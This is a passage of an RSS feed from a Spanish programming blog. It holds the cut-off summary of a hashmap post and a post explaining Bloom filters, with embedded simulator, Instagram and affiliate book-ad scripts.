      <summary>&lt;h2 id=&#34;el-hash-map-recibio-una-actualizacion-tipo-navaja-suiza&#34;&gt;El Hash Map Recibió una Actualización Tipo &amp;ldquo;Navaja Suiza&amp;rdquo;&lt;/h2&gt;&#xA;&lt;p&gt;Seguramente ya has usado &lt;strong&gt;hashmaps&lt;/strong&gt; antes, pero el asunto aquí es que los usas y te olvidas de sus entrañas. Limitas tu conocimiento de los hashmaps a obtener y asignar llaves, tal vez iterar sobre ellos, y ya.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.set(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;, value)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// o&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;hashmap[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Construí Un Simulador Visual De Un Bloom Filter</title>
      <link>https://coffeebytes.dev/es/databases/construi-un-simulador-visual-de-un-bloom-filter/</link>
      <pubDate>Fri, 05 Sep 2025 09:47:15 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/databases/construi-un-simulador-visual-de-un-bloom-filter/</guid>
      
      <category>databases</category>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Supongamos que quieres comprobar si un dato pertenece a un conjunto más grande. Digamos que eres Google y quieres revisar si cierta url ha sido marcada como spam. El enfoque más tonto sería iterar sobre cada url marcada como spam para ver si la encuentras. Tal vez pienses: “Guardo los sitios spam en un hashmap”, pero entonces, ¿un hashmap con los millones de sitios que existen en internet? Debe existir una forma que use menos espacio.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/DN3v9WD2CQC&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/DN3v9WD2CQC&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;Incluso si indexas esas urls, seguirás teniendo un rendimiento en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;Big O&lt;/a&gt;&#xA; no tan bueno, quizá O(log n) u O.&lt;/p&gt;&#xA;&lt;p&gt;Esta es una estructura de datos interesante porque es probabilística. No te va a dar una certeza del 100%, pero el trade-off que ofrece es bastante atractivo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ok-pero-que-carajos-es-un-bloom-filter&#34;&gt;Ok, pero ¿qué carajos es un Bloom filter?&lt;/h2&gt;&#xA;&lt;p&gt;Un Bloom filter es una estructura de datos que te ayuda a comprobar si un elemento &lt;strong&gt;podría&lt;/strong&gt; estar en un conjunto. Da respuestas rápidas con muy poca memoria. El costo de esto es que a veces puede decir que un elemento está presente cuando en realidad no lo está.&lt;/p&gt;&#xA;&lt;p&gt;Esta estructura puede producir &lt;em&gt;falsos positivos&lt;/em&gt;. Pero la buena noticia es que no existen &lt;em&gt;falsos negativos&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Por esta razón, los Bloom filters son útiles cuando valoras más la velocidad y el espacio que una precisión absoluta.&lt;/p&gt;&#xA;&lt;div id=&#34;app-bloom-filter&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;donde-se-pueden-usar-los-bloom-filters&#34;&gt;¿Dónde se pueden usar los bloom filters?&lt;/h3&gt;&#xA;&lt;p&gt;Los Bloom filters aparecen en sistemas donde las búsquedas rápidas importan (no, tu Tinder para mascotas no aplica):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bases de datos&lt;/strong&gt;: Para verificar si una clave podría estar en una tabla antes de hacer una costosa lectura en disco. Aquí hablamos de millones de registros, no bases de datos pequeñas. (Cassandra, HBase y Redis).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cachés web&lt;/strong&gt;: Para probar si una página u objeto podría estar en caché.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sistemas distribuidos&lt;/strong&gt;: Para reducir llamadas de red cuando preguntas a un nodo si tiene ciertos datos.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Seguridad&lt;/strong&gt;: Para filtrar rápidamente urls o direcciones de correo conocidas como maliciosas, como en el ejemplo inicial.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sistemas de recomendación de contenido&lt;/strong&gt;: Para evitar recomendar contenido ya consumido.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757107240/coffee-bytes/bloom-filter-usage_fvyq87.png&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1757107240/coffee-bytes/bloom-filter-usage_fvyq87.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Bloom filter usage by reddit user&#34; width=&#34;965&#34; height=&#34;334&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Los Bloom filters ayudan a reducir tiempo y recursos a gran escala, siempre que aceptes algunos falsos positivos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-internamente-un-bloom-filter&#34;&gt;¿Cómo funciona internamente un Bloom filter?&lt;/h2&gt;&#xA;&lt;p&gt;Un Bloom filter utiliza:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Un arreglo de bits (todos empiezan en 0).&lt;/li&gt;&#xA;&lt;li&gt;Un conjunto de funciones hash.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Cuando agregas un elemento, el filtro lo pasa por cada función hash. Cada función devuelve un índice en el arreglo. En esas posiciones, los bits se ponen en 1.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;no-se-pueden-eliminar-datos-de-este-filtro&#34;&gt;No se pueden eliminar datos de este filtro&lt;/h3&gt;&#xA;&lt;p&gt;Como no almacenas los datos reales, sino solo el patrón que permance tras las hash functions, no puedes saber qué combinación de dato y función hash específica lo produjo. Por eso no es posible “eliminar” un elemento.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;},{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  